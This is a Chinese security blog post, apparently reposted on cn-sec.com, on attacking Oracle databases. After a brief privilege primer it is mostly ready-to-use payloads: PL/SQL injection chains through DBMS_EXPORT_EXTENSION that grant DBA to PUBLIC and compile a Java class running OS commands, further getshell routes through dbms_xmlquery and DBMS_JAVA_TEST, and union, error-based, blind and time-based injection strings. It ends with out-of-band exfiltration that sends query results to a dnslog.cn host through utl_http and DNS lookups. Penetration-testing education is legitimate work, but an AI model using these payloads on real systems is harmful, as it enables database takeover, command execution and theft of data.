浅谈SQL database的各种技巧(六)

admin 2023年3月12日20:38:00浅谈SQL database的各种技巧(六)已关闭评论28 views字数 11489阅读38分17秒阅读模式

前言

不同于前面几篇,这篇主要是集中对抗Oracle数据库的getshell方法和一些sql注入的利用姿势

Oracle

基础

权限解释
系统权限管理
  • DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构
  • RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构
  • CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构

```

独特的基础的命令

授权命令

grant connect, resource to username;

收回权限

revoke connect, resource from username;

查询自己拥有的权限

select * from session_privs;
```

实体权限管理
  • select, update, insert, alter, index, delete, all //all 包括所有权限
  • execute // 执行存储过程权限

```

对特定表的操作

grant select, update... on tableName to username;

回收权限

revoke select, update... on tableName from username;
```

特性
  • Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录
  • Oracle进行字符串的拼接除了 concat函数之外也可以使用 ||进行拼接
  • Oracle同样有着类似于Mysql中的系统表 information_schema.tables information_schema.columns, 在Oracle中是 user_tab_columns all_tab_columns all_tables user_tables就存放了用户所有的表/列名
  • Oracle在分页功能的实现上,因为没有 limit, 转而通过嵌套的方式进行分页操作
  • 值得注意的是,因为Oracle数据库是强匹配的方式,所以进行查询的数据理应和其本身的数据库结构相对应,当然,如果不确定相应的数据类型,可以使用null进行代替

getshell

DBMS_EXPORT_EXTENSION

影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
权限:None
详情:这个软件包有许多易受PL/SQL注入攻击的函数。这些函数由SYS拥有,作为SYS执行并且可由PUBLIC执行。因此,如果SQL注入处于上述任何未修补的Oracle数据库版本中,那么攻击者可以调用该函数并直接执行SYS查询

提权:能够使得PUBLIC获得DBA权限(以SYS角色)

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual

同样可以执行JAVA代码

  1. 创建JAVA类

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual

  1. 赋予JAVA执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual

  1. 创建执行函数

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual

  1. 赋予执行函数执行权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual

  1. 执行函数

select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

dbms_xmlquery.newcontext
  • 影响版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)

需要在上面存在漏洞的情况下才能成功利用,不然在赋权那一步不能成功

```

创建java包

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

赋予java权限

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual;

创建执行函数

select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

执行函数

select LinxRunCMD('id') from dual;
```

dbms_java_test.funcall
  • 影响版本: 10g R2, 11g R1, 11g R2
  • 权限:Java Permissions.

这种方式是无回显的,但是可以反弹shell进行利用,或者一些数据外带的姿势读取文件内容

Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;

对于反弹shell可以参考这篇文章

联合查询注入

  1. 同样的操作进行注入点的判断,和字段数的判断

    浅谈SQL database的各种技巧(六)

  2. 之后进行回显点的判断,这里因为Oracle数据库的特点,有所不同

?id=-1 union select null, null from dual--+
?id=-1 union select 1,'2' from dual--+

浅谈SQL database的各种技巧(六)

这里区别就来了,如果使用的是 union select 1,2来判断回显位的话,会报错,因为这里的类型为字符
3.
获取基本信息**

?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+

浅谈SQL database的各种技巧(六)

可以得到靶机数据库的版本号
4. 获取数据库名,用户名

## 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
## 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
## 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+

浅谈SQL database的各种技巧(六)

可以得到第一个用户,同样可以通过and语句得到第三个用户名

浅谈SQL database的各种技巧(六)

同样可以得到当前用的名

浅谈SQL database的各种技巧(六)
5. 表名的获取

## 获取Test用户的第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
## 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+

浅谈SQL database的各种技巧(六)

通过模糊匹配获取到了用户表,当然我们也可以使用 not in``\<>等方法获取表名(使用sqlmap可以直接得到所有的表名,我们这里主要测试手工注入)
6.
列名的获取**

?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+

浅谈SQL database的各种技巧(六)

成功获取到用户表的密码列名
7.
数据的获取**

?id=-1 union select 1,(select concat(concat(username,'~~'),password) from "users" where rownum=1),null from dual --+

浅谈SQL database的各种技巧(六)

值得注意的是,这里的表名需要使用双引号包裹,使用单引号也不得行

报错注入

Oracle的报错注入主要是因为数据将将一些系统变量通过视图的形式来获取,然后类似于SqlServer数据库报错的原理,使用比较运算符进行报错

比如 utl_inaddr.get_host_address()是用来返回系统ip地址,但是如果传入了一个参数,他将会出现错误并回显传入的错误参数,如果这个参数是一个SQL语句,就会执行之后进行回显

utl_inaddr.get_host_name

功能:获取系统ip地址

  1. 获取用户名
    ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
  2. 获取 TEST用户表名
    ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
  3. 获取 USERS表列名
    ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
  4. 获取数据
    ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
utl_inaddr.get_host_addres
ctxsys.drithsx.sn

对文本的处理功能

```

同样的流程

获取用户名

?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
```

CTXSYS.CTX_REPORT.TOKEN_TYPE

同样是对文本的处理

```

获取用户名

?id = 1 and 1=CTXSYS.CTX_REPORT.TOKEN_TYPE('~'%7c%7c(select user from dual)%7c%7c'~', '123')--+
```

XMLType

XMLType是oracle系统定义的数据类型,系统预定义了内部函数去访问XML数据

```

获取用户名

?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+

PS:调用的时候必须以<:开头和>结尾,即 '<:'||balabala||'>' 或者 chr(60)||balabal||chr(62);如果返回的数据种有空格的话,会自动截断,导致数据不完整,这种情况下需要先转为 hex,再导出(或者有replace函数替换成其他非空字符)

```

dbms_xdb_version.checkin

```

获取用户名

?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
```

dbms_xdb_version.makeversioned

```

获取用户名

?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
```

dbms_xdb_version.uncheckout

```

获取用户名

?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
```

dbms_utility.sqlid_to_sqlhash

```

获取用户名

?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
```

ordsys.ord_dicom.getmappingxpath

```

获取用户名

?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
```

布尔盲注

  1. 同样有着和其他布尔盲注一样的通过 substr等函数进行字符串分割的布尔盲注

?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+
?id=1 and (select length(user) from dual)=3 --+

可以通过 ascii函数进行布尔盲注

浅谈SQL database的各种技巧(六)

  1. 也有着独特的使用 decode函数进行注入, (类似于Mysql中if的替代品吧)

decode(字段或者字段运算, value1, value2, value3): 如果字段得到的值等于value1, 返回value2, 反之,返回value3

## 获取用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+
## 获取表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
## 后面的就是同样的规律了

同样可以使用 decode函数进行盲注

浅谈SQL database的各种技巧(六)
3. 当然也还有着 instr函数的注入

```
select instr('123456789','12') position from dual;

从一个字符串中查找指定字串的位置

```

所以可以通过按位爆破分解的方式

## 示例
?id=1 and (instr((select user from dual),'SY'))=1 --+

同样使用 instr进行按位爆破也是行得通的

浅谈SQL database的各种技巧(六)

延时注入

  1. 这里可以使用 dbms_pipe.receive_message('RDS', 10)函数,将会从RDS管道返回的数据等待10秒,允许public权限执行函数

```

查看函数的可用性

?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+

获取用户

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

获取TEST用户表名

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

获取列名

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+

获取数据

?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+
```

这里可以通过 dbms_pipe.receive_message('RDS', 5)函数进行延时注入,下面这个payload,如果成功延时5s就表示能够利用

浅谈SQL database的各种技巧(六)

  1. 同样可以结合 decode函数进行延时注入

```

通过耗费时间的查询语句进行延迟

?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+

使用decode代替if进行延时注入

?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+
```

可以使用decode来盲注是否正确,如果正确就会产生延迟,不然会返回错误(这里主要是通过 count计数函数的计算时间进行延时)

浅谈SQL database的各种技巧(六)

下面这个是通过 dbms_pipe.recevie_message('RDS', 5)进行延时

浅谈SQL database的各种技巧(六)

无回显注入

在Mysql中主要是通过 load_file()函数实现了DNSLOG查询,同样Oracle数据库也有着能够数据外带的函数 utl_http.request(),它能够向外网主机发送http请求,并携带了查询的结果

```

utl_http.request是否可用

?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+

获取用户名

?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取TEST用户表名

?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取USERS表列名

?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+

获取数据

?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
```

直接判断是否可用

浅谈SQL database的各种技巧(六)

同样,还有这其他可以发起网络请求的函数

  • utl_inaddr.get_host_address: dns解析外带
    ?id=1 and utl_inaddr.get_host_address('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+
  • sys.dbms_ldap.init: 在oracle10g和11g里面只需要public权限
  • httpuritype: HTTPURITYPE根据给定的URI创建一个实例
    SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:38:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈SQL database的各种技巧(六)https://cn-sec.com/archives/1599489.html